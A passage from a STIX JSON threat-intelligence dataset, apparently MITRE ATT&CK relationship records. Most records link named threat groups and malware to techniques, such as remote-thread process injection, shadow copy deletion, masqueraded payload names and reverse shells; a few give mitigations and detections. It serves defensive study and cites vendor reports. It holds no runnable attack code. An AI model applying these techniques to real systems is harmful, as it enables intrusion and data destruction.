a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T17:05:10.191Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used `smbexec.py` and `psexec.py` from [Impacket](https://attack.mitre.org/software/S0357) for lateral movement.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cc065036-1b46-4f5c-935e-fb80bd3de7c7","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.421Z","description":"[OLDBAIT](https://attack.mitre.org/software/S0138) can use HTTP for C2.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--2dd34b01-6110-4aac-835d-b5e7b936b0be","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc134d2d-64eb-469a-b8eb-90ea632c0adc","type":"relationship","created":"2021-08-23T19:38:33.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-08-23T19:38:33.525Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) has used encrypted strings.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc13f316-0f88-4ed1-8790-b13bc35be119","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:31.909Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) downloader code has included \"0\" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc1a0331-2b30-489c-ab4d-8853cff3a0b0","type":"relationship","created":"2020-07-17T16:57:12.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-18T13:13:31.826Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has executed legitimate tools in hidden windows.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cc1f7b0c-a443-46ee-b9d6-b7ecb9ead9fa","created":"2023-06-02T15:27:58.785Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-02T15:27:58.785Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc2099fb-4785-4884-b274-4f3e8a3b8d99","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.350Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is capable of starting a process using CreateProcess.(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cc2b70ee-b46c-4f92-a3b9-131ed098fe55","created":"2024-09-23T22:58:34.951Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"},{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:58:34.951Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used rundll32.exe to execute malicious files.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)(Citation: trendmicro_redcurl) ","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cc2dd0db-3679-4b14-b9a1-4aff659e2c4a","created":"2022-07-25T17:30:24.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T19:58:59.895Z","description":"[Mongall](https://attack.mitre.org/software/S1026) can inject a DLL into `rundll32.exe` for execution.(Citation: SentinelOne Aoqin Dragon June 2022)\n","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cc2de45c-a1f3-4085-ac35-dffa8a86e9b3","created":"2020-07-15T19:28:00.683Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has encrypted TCP communications to evade detection.(Citation: Gh0stRAT ATT March 2019)","modified":"2022-04-15T15:09:22.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc2f4b77-5b2f-4942-a6c0-9c2a19e1f7b0","type":"relationship","created":"2021-04-14T14:10:02.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-21T17:58:03.717Z","description":"Consider re-locking password managers after a short timeout to limit the time plaintext credentials live in memory from decrypted databases.","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc31afad-6349-4b66-a0a9-cd8f9de46aec","type":"relationship","created":"2019-10-04T22:20:20.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT SHARPKNOT June 2018","description":"US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf"}],"modified":"2019-10-04T22:20:20.853Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has rebooted systems after destroying files and wiping the MBR on infected systems.(Citation: US-CERT SHARPKNOT June 2018)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cc35f625-8da3-4d4d-a9bf-a600183d7230","created":"2022-08-09T18:31:02.093Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PingPull](https://attack.mitre.org/software/S1031) can use `cmd.exe` to run various commands as a reverse shell.(Citation: Unit 42 PingPull Jun 2022)","modified":"2022-08-24T20:06:10.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc3ca652-5f6f-4d8b-8b3d-51ab6f776e8a","type":"relationship","created":"2021-09-27T20:05:02.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."}],"modified":"2021-09-27T20:05:02.119Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has the ability to use removable drives to spread through compromised networks.(Citation: Trend Micro Qakbot May 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc42a6c0-ce7c-442b-8ccc-cb5a9fba3462","type":"relationship","created":"2020-05-27T15:31:09.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.915Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has masqueraded their XMRIG payload name by naming it wercplsupporte.dll after the legitimate wercplsupport.dll file.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc443415-7c35-49ab-92a9-3d0cfa68c7b2","type":"relationship","created":"2021-03-17T16:14:44.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"}],"modified":"2021-03-17T16:14:44.323Z","description":"(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc458462-2c4e-443c-977a-805ea1d6e5a8","type":"relationship","created":"2020-01-24T14:32:40.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/cc732713.aspx","description":"Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.","source_name":"TechNet RDP NLA"}],"modified":"2020-04-28T13:27:20.643Z","description":"To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later.(Citation: TechNet RDP NLA)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc4635e6-bc84-4c22-a3e0-d09a57f3a888","type":"relationship","created":"2019-02-12T18:39:20.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","source_name":"ESET TeleBots Oct 2018"}],"modified":"2020-03-17T23:48:04.523Z","description":"The [Exaramel for Windows](https://attack.mitre.org/software/S0343) dropper creates and starts a Windows service named wsmprovav with the description “Windows Check AV” in an apparent attempt to masquerade as a legitimate service.(Citation: ESET TeleBots Oct 2018)","relationship_type":"uses","source_ref":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cc470da4-82b7-4efb-aa09-f3e7402291df","created":"2022-03-22T20:09:04.260Z","x_mitre_version":"1.0","external_references":[{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ROKRAT](https://attack.mitre.org/software/S0240) can use `VirtualAlloc`, `WriteProcessMemory`, and then `CreateRemoteThread` to execute shellcode within the address space of `Notepad.exe`.(Citation: Malwarebytes RokRAT VBA January 2021)","modified":"2022-04-18T13:44:56.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc495391-9abd-4df1-8ad7-ec8d84feaeb9","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2019-03-25T16:57:02.831Z","description":"[Sowbug](https://attack.mitre.org/groups/G0054) listed remote shared drives that were accessible from a victim.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cc49c969-b227-437b-9b63-4a464766ff04","created":"2024-03-25T21:17:07.633Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:17:07.633Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) can enumerate remote systems, such as VMware vCenter infrastructure.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc4f0b64-db39-4546-a5fc-a518ecc5438b","type":"relationship","created":"2019-03-26T19:23:02.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIS Emotet Apr 2017","url":"https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/","description":"CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019."},{"source_name":"Malwarebytes Emotet Dec 2017","url":"https://support.malwarebytes.com/docs/DOC-2295","description":"Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019."},{"source_name":"Symantec Emotet Jul 2018","url":"https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor","description":"Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."},{"source_name":"US-CERT Emotet Jul 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-201A","description":"US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."},{"source_name":"Talos Emotet Jan 2019","url":"https://blog.talosintelligence.com/2019/01/return-of-emotet.html","description":"Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."},{"source_name":"Trend Micro Emotet Jan 2019","url":"https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf","description":"Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."},{"source_name":"Picus Emotet Dec 2018","url":"https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html","description":"Özarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."},{"description":"Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.","url":"https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/","source_name":"Carbon Black Emotet Apr 2019"},{"source_name":"IBM IcedID November 2017","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."}],"modified":"2020-07-15T18:05:15.557Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been delivered by phishing emails containing attachments. (Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)(Citation: Carbon Black Emotet Apr 2019)(Citation: IBM IcedID November 2017)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc506d7d-c2c4-4a56-b8d6-bfca131bfcca","type":"relationship","created":"2021-06-03T19:52:01.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-03T19:52:01.118Z","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) has the ability to use WMI to delete volume shadow copies.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cc57b78b-5df8-470e-b85c-a6f41df44a8d","created":"2022-03-30T14:26:51.861Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for programs metadata modifications such as deletion of the path to an executable since it makes programs vulnerable to this type of technique. Also, monitor modifications of files such as renaming programs using Windows system utilities names.","modified":"2022-04-08T13:27:35.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cc604330-0936-4292-bb45-40c1d865c27b","created":"2023-01-26T19:24:31.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T16:08:29.077Z","description":"(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 